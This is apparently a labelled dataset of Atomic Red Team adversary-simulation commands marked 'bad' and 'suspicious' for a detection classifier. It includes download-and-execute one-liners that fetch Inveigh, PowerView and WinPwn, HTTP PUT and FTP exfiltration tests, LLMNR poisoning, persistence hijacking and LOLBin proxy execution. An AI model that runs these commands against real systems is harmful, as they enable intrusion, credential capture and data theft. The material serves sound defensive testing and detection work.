00c97c7ed97975f2875d6b3c,"Remove-Item ""$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe"" -ErrorAction Ignore Stop-Process -Name ""calculator""","Remove-Item ""$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe"" -ErrorAction Ignore Stop-Process -Name ""calculator""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.008/T1574.008.yaml,powerShell Persistence via hijacking default modules - Get-Variable.exe,T1574.008,"[""T1574.008""]",windows,0.55,True,"Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\Local\Microsoft\WindowsApps and 
names it Get-Variable.exe for Windows 10 and above.
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35d7206acd58c758e0b4e242,pcalua.exe -a #{process} pcalua.exe -a #{payload_path},pcalua.exe -a #{process} pcalua.exe -a #{payload_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1202/T1202.yaml,Indirect Command Execution - pcalua.exe,T1202,"[""T1202""]",windows,0.9,False,"The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)
Upon execution, calc.exe should open
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4680516afa9fbffb6050bbf,forfiles /p c:\windows\system32 /m notepad.exe /c #{process},forfiles /p c:\windows\system32 /m notepad.exe /c #{process},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1202/T1202.yaml,Indirect Command Execution - forfiles.exe,T1202,"[""T1202""]",windows,0.9,False,"forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)
""This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe""
Upon execution calc.exe will be opened.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00194c9db4389af826058421,"conhost.exe ""#{process}""","conhost.exe ""#{process}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1202/T1202.yaml,Indirect Command Execution - conhost.exe,T1202,"[""T1202""]",windows,0.9,False,"conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.
Executing it through command line can create process ancestry anomalies
[Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0318dea3d2cbbce91d3a4484,"Scriptrunner.exe -appvscript ""#{payload_path}""","Scriptrunner.exe -appvscript ""#{payload_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1202/T1202.yaml,Indirect Command Execution - Scriptrunner.exe,T1202,"[""T1202""]",windows,0.9,False,"The ""ScriptRunner.exe"" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open
Reference: https://x.com/NickTyrer/status/914234924655312896",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a12b2a8ecbd4aa8b6a5a184c,"# Copy command to clipboard Set-Clipboard -Value '#{command}' # Open Run dialog Start-Process -FilePath ""powershell"" -ArgumentList ""-c (New-Object -ComObject 'Shell.Application').FileRun()"" -WindowStyle Hidden # Wait for Run dialog to open Start-Sleep -Seconds 1 # Paste command and execute Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait('^v') Start-Sleep -Milliseconds 500 [System.Windows.Forms.SendKeys]::SendWait('{ENTER}')","# Copy command to clipboard Set-Clipboard -Value '#{command}' # Open Run dialog Start-Process -FilePath ""powershell"" -ArgumentList ""-c (New-Object -ComObject 'Shell.Application').FileRun()"" -WindowStyle Hidden # Wait for Run dialog to open Start-Sleep -Seconds 1 # Paste command and execute Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait('^v') Start-Sleep -Milliseconds 500 [System.Windows.Forms.SendKeys]::SendWait('{ENTER}')",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1202/T1202.yaml,Indirect Command Execution - RunMRU Dialog,T1202,"[""T1202""]",windows,0.9,False,"Simulates execution of commands via the Windows Run dialog (Win+R) by programmatically opening the Run dialog, 
copying a command to clipboard, and automating the paste and execution. This generates artifacts in the RunMRU registry key,
which is commonly abused by threat actors to execute malicious commands disguised as CAPTCHA verification steps.
Upon execution, a test PowerShell command will be executed through the Run dialog.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
198ca33026c2ca1e523b4e77,"$fileName = ""#{file}"" $url = ""#{domain}"" $file = New-Item -Force $fileName -Value ""This is ART IcedID Botnet Exfil Test"" $contentType = ""application/octet-stream"" try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}","$fileName = ""#{file}"" $url = ""#{domain}"" $file = New-Item -Force $fileName -Value ""This is ART IcedID Botnet Exfil Test"" $contentType = ""application/octet-stream"" try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1020/T1020.yaml,IcedID Botnet HTTP PUT,T1020,"[""T1020""]",windows,0.9,False,"Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d47092bb1b1dfb4d5b95642a,"$fileName = ""#{file}"" Remove-Item -Path $fileName -ErrorAction Ignore","$fileName = ""#{file}"" Remove-Item -Path $fileName -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1020/T1020.yaml,IcedID Botnet HTTP PUT,T1020,"[""T1020""]",windows,0.55,True,"Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7b2844da7083464208cb4ad6,"$sampleData = ""Sample data for exfiltration test"" Set-Content -Path ""#{sampleFile}"" -Value $sampleData $ftpUrl = ""#{ftpServer}"" $creds = Get-Credential -Credential ""#{credentials}"" Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile ""#{sampleFile}"" -Credential $creds","$sampleData = ""Sample data for exfiltration test"" Set-Content -Path ""#{sampleFile}"" -Value $sampleData $ftpUrl = ""#{ftpServer}"" $creds = Get-Credential -Credential ""#{credentials}"" Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile ""#{sampleFile}"" -Credential $creds",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1020/T1020.yaml,Exfiltration via Encrypted FTP,T1020,"[""T1020""]",windows,0.9,False,"Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72e7f7695f92e59f0103f16f,"Remove-Item -Path ""#{sampleFile}"" -ErrorAction Ignore","Remove-Item -Path ""#{sampleFile}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1020/T1020.yaml,Exfiltration via Encrypted FTP,T1020,"[""T1020""]",windows,0.55,True,"Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59a1914c4a3eeb8f161c3cfc,"powershell.exe -c ""Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }""","powershell.exe -c ""Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1025/T1025.yaml,Identify Documents on USB and Removable Media via PowerShell,T1025,"[""T1025""]",windows,0.9,False,"This test simulates an attack where PowerShell is used to detect connected USB or other removable storage devices and gather a list of specific document files 
(e.g., .docx, .xls, .txt, .pdf). The command works by first identifying removable drives on the system and then recursively searching through each one for files 
matching the targeted extensions. If no removable drives are present, the script will return a message stating that no media is detected. This behavior mimics 
how adversaries mi",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b3e2e6ca30be55cebc7ab18b,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1"" -UseBasicParsing) Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1"" -UseBasicParsing) Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1557.001/T1557.001.yaml,LLMNR Poisoning with Inveigh (PowerShell),T1557.001,"[""T1557.001""]",windows,0.9,False,Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec81b79edbd80050402b6e5d,$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm,$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1566.001/T1566.001.yaml,Download Macro-Enabled Phishing Attachment,T1566.001,"[""T1566.001""]",windows,0.9,False,"This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
The file ""PhishingAttachment.xlsm"" is downloaded to the %temp% directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d784599a7faffb11e1e7ea7d,Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore,Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1566.001/T1566.001.yaml,Download Macro-Enabled Phishing Attachment,T1566.001,"[""T1566.001""]",windows,0.55,True,"This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
The file ""PhishingAttachment.xlsm"" is downloaded to the %temp% directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5808ba86aae58b5115fb11cb,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n Shell`$ `""ping 8.8.8.8`""`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n Shell`$ `""ping 8.8.8.8`""`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1566.001/T1566.001.yaml,Word spawned a command shell and used an IP address in the command line,T1566.001,"[""T1566.001""]",windows,0.9,False,"Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
Upon execution, CMD will be launched and ping 8.8.8.8.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7cbee5186b4e1cb398119da,Remove-Item #{jse_path} -ErrorAction Ignore,Remove-Item #{jse_path} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1566.001/T1566.001.yaml,Word spawned a command shell and used an IP address in the command line,T1566.001,"[""T1566.001""]",windows,0.55,True,"Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
Upon execution, CMD will be launched and ping 8.8.8.8.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7e9619aa93a3ffee55442b23,"export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""Stratus: Start Warmup."" ./stratus warmup aws.discovery.ec2-enumerate-from-instance echo ""Stratus: Start Detonate."" ./stratus detonate aws.discovery.ec2-enumerate-from-instance","export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""Stratus: Start Warmup."" ./stratus warmup aws.discovery.ec2-enumerate-from-instance echo ""Stratus: Start Detonate."" ./stratus detonate aws.discovery.ec2-enumerate-from-instance",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1580/T1580.yaml,AWS - EC2 Enumeration from Cloud Instance,T1580,"[""T1580""]","linux,macos,iaas:aws",0.9,False,"This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-te",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9b91532aba6452f9081f596,"cd #{stratus_path} echo ""Stratus: Start Cleanup."" ./stratus cleanup aws.discovery.ec2-enumerate-from-instance echo ""Removing Stratus artifacts from local machine."" rm -rf stratus*","cd #{stratus_path} echo ""Stratus: Start Cleanup."" ./stratus cleanup aws.discovery.ec2-enumerate-from-instance echo ""Removing Stratus artifacts from local machine."" rm -rf stratus*",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1580/T1580.yaml,AWS - EC2 Enumeration from Cloud Instance,T1580,"[""T1580""]","linux,macos,iaas:aws",0.55,True,"This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-te",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
222fd6526a3c1eb9ebf63f5e,aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format},aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1580/T1580.yaml,AWS - EC2 Security Group Enumeration,T1580,"[""T1580""]",iaas:aws,0.9,False,Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a931f3ae96ce00d77cd76cce,kubectl create -f #{path} -n #{namespace} # wait 3 seconds for the instance to come up sleep 3 kubectl exec -n #{namespace} busybox -- #{command},kubectl create -f #{path} -n #{namespace} # wait 3 seconds for the instance to come up sleep 3 kubectl exec -n #{namespace} busybox -- #{command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1609/T1609.yaml,ExecIntoContainer,T1609,"[""T1609""]",containers,0.9,False,"Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a6664d91d58c2d9404d4390,kubectl delete pod busybox -n #{namespace},kubectl delete pod busybox -n #{namespace},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1609/T1609.yaml,ExecIntoContainer,T1609,"[""T1609""]",containers,0.55,True,"Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf5b18a78dc828eafdbbf6cb,"docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh docker exec -i t1609_container bash -c ""cat /tmp/output.txt""","docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh docker exec -i t1609_container bash -c ""cat /tmp/output.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1609/T1609.yaml,Docker Exec Into Container,T1609,"[""T1609""]",containers,0.9,False,"Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1fcc92c1291037aa58fe09a6,docker stop t1609_container docker rmi -f t1609:latest,docker stop t1609_container docker rmi -f t1609:latest,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1609/T1609.yaml,Docker Exec Into Container,T1609,"[""T1609""]",containers,0.55,True,"Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
afc1b28387c8e7f90c08c997,"$InstallerAssemblyDir = ""#{assembly_dir}"" $InstallerAssemblyFileName = ""#{assembly_filename}"" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore","$InstallerAssemblyDir = ""#{assembly_dir}"" $InstallerAssemblyFileName = ""#{assembly_filename}"" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.004/T1218.004.yaml,CheckIfInstallable method call,T1218.004,"[""T1218.004""]",windows,0.55,True,"Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.
If no output is displayed the test executed successfuly.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
639387b447a82f5ed676d9dd,"Remove-Item -Path ""$Env:windir\System32\Tasks\readme.txt"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\readme.InstallLog"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\readme.InstallState"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\notepad.exe"" -ErrorAction Ignore","Remove-Item -Path ""$Env:windir\System32\Tasks\readme.txt"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\readme.InstallLog"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\readme.InstallState"" -ErrorAction Ignore Remove-Item -Path ""$Env:windir\System32\Tasks\notepad.exe"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.004/T1218.004.yaml,InstallUtil evasive invocation,T1218.004,"[""T1218.004""]",windows,0.55,True,"Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, ""Running a transacted installation.""
will be displayed, along with other information about the opperation. ""The transacted install has completed."" will be displayed upon completion.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e20703a3e17e4c4cf7546b9,df -aH smbutil view -g //#{computer_name} showmount #{computer_name},df -aH smbutil view -g //#{computer_name} showmount #{computer_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Network Share Discovery,T1135,"[""T1135""]",macos,0.9,False,"Network Share Discovery
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25bdaeb3253db07fb28659b8,smbstatus --shares,smbstatus --shares,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Network Share Discovery - linux,T1135,"[""T1135""]",linux,0.9,False,"Network Share Discovery using smbstatus
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6ed3b9c12173ad852c5b4b2,net view \\#{computer_name},net view \\#{computer_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Network Share Discovery command prompt,T1135,"[""T1135""]",windows,0.9,False,"Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution available network shares will be displayed in the powershell session
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10dcc822c21619f018b5a43f,net share,net share,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,View available share drives,T1135,"[""T1135""]",windows,0.9,False,"View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b722401774af1b968ed91da,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Share Discovery with PowerView,T1135,"[""T1135""]",windows,0.9,False,"Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f64ea7a618bb8063cd6c811,"Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"" Invoke-ShareFinder #{parameters}","Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"" Invoke-ShareFinder #{parameters}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,PowerView ShareFinder,T1135,"[""T1135""]",windows,0.9,False,PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a42c3950ae9078278b17602b,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') shareenumeration -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') shareenumeration -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,WinPwn - shareenumeration,T1135,"[""T1135""]",windows,0.9,False,Network share enumeration using the shareenumeration function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
243c4ddf8f9c02a8ddfe48d1,dir \\#{computer_ip}\c$ dir \\#{computer_ip}\admin$ dir \\#{computer_ip}\IPC$,dir \\#{computer_ip}\c$ dir \\#{computer_ip}\admin$ dir \\#{computer_ip}\IPC$,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Network Share Discovery via dir command,T1135,"[""T1135""]",windows,0.9,False,"Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip
Upon execution available network shares will be displayed in the commandline session
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6bbed39bf1b46ab538dadae7,"cmd /c '#{sharp_path}' /ldap:all | out-file -filepath ""#{output_path}""","cmd /c '#{sharp_path}' /ldap:all | out-file -filepath ""#{output_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Enumerate All Network Shares with SharpShares,T1135,"[""T1135""]",windows,0.9,False,"SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. 
This technique has been utilized by various ransomware groups, including BianLian.
[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a1af11e447a2f648c03847b,"remove-item ""#{output_path}"" -force -erroraction silentlycontinue","remove-item ""#{output_path}"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Enumerate All Network Shares with SharpShares,T1135,"[""T1135""]",windows,0.55,True,"SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. 
This technique has been utilized by various ransomware groups, including BianLian.
[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e49dc626851491b7290ac0c,"invoke-expression 'cmd /c start powershell -command { cmd /c ""#{snaffler_path}"" -a -o ""#{output_path}"" }; start-sleep 90; stop-process -name ""snaffler""'","invoke-expression 'cmd /c start powershell -command { cmd /c ""#{snaffler_path}"" -a -o ""#{output_path}"" }; start-sleep 90; stop-process -name ""snaffler""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1135/T1135.yaml,Enumerate All Network Shares with Snaffler,T1135,"[""T1135""]",windows,0.9,False,"Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. 
[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df52cb5c2a713cfaf9c480b7,mkdir %temp%\T1119_command_prompt_collection >nul 2>&1 dir c: /b /s .docx | findstr /e .docx for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection,mkdir %temp%\T1119_command_prompt_collection >nul 2>&1 dir c: /b /s .docx | findstr /e .docx for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1119/T1119.yaml,Automated Collection Command Prompt,T1119,"[""T1119""]",windows,0.9,False,"Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection
to see what was collected.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
